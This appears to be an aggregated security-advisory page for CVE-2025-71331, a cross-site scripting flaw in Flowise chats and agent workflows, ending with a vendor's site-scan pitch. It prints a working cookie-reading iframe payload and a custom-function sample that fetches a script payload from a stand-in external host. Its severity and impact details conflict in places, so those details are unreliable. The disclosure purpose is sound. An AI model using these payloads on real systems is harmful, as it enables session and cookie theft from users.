🛡️ CVE-2025-71331 — flowise

🟡 CVSS 6.1 — Medium ⚠️ Exploit Public CWE-79 OSV
6.1
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Flowise vulnerable to XSS

Summary

A XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc.

Details

1. Send a Message <iframe src="javascript:alert(document.cookie);"> from User in a chat box:

<img width="1396" alt="image" src="https://github.com/user-attachments/assets/b472e304-9e7a-40d2-8469-675a5f0744e5" />

Trigger in other ways:

2. Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows)

3. Create a Custom function as an example, use the below example code.

```

const fetch = require('node-fetch');

const url = 'https://external.website';

const options = {

method: 'GET',

headers: {

'Content-Type': 'application/json'

}

};

try {

const response = await fetch(url, options);

const text = await response.text();

return text;

} catch (error) {

console.error(error);

return '';

}

```

4. The external website (https://external.website) return a XSS payload as content.

<img width="1228" alt="image" src="https://github.com/user-attachments/assets/2e0a4d1c-45bf-4c5f-b1b4-54c51f35ce53" />

5. The javascript code is executed and the victim's cookie data is sent to the external website.

<img width="1212" alt="image" src="https://github.com/user-attachments/assets/4ea17dab-c456-4a51-94f4-93fe9aa18cf7" />

PoC

<iframe src="javascript:alert(document.cookie);">

Impact

it is critical XSS vulnerability. All users of Flowise platform that use the workflows of agents.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. Rated impact: confidentiality none, integrity none, availability none.

Weakness class

CVE-2025-71331 is classified as CWE-79: Cross-site Scripting (XSS). User-supplied data is written into a page without escaping, so attacker script runs in the browser of anyone who views it.

Affected software

CVE-2025-71331 is recorded against 1 package.

  • flowise

Timeline and source

Published on 3 October 2025 and last revised on 8 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from OSV.

References

github.com (Web)
github.com (Package)

Details

Severity MEDIUM
CVSS Score 6.1
CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
CWE CWE-79
Public Exploit ⚠️ Yes
Source OSV
Published 2025-10-03
Updated 2026-08-12
Modified 2026-07-08
Fix URL N/A

Affected Packages

Software From version Fixed in
flowise

Similar Threats

Exploit Protection

Are you running flowise?

CVE-2025-71331 carries CVSS 6.1 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2025-71331 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.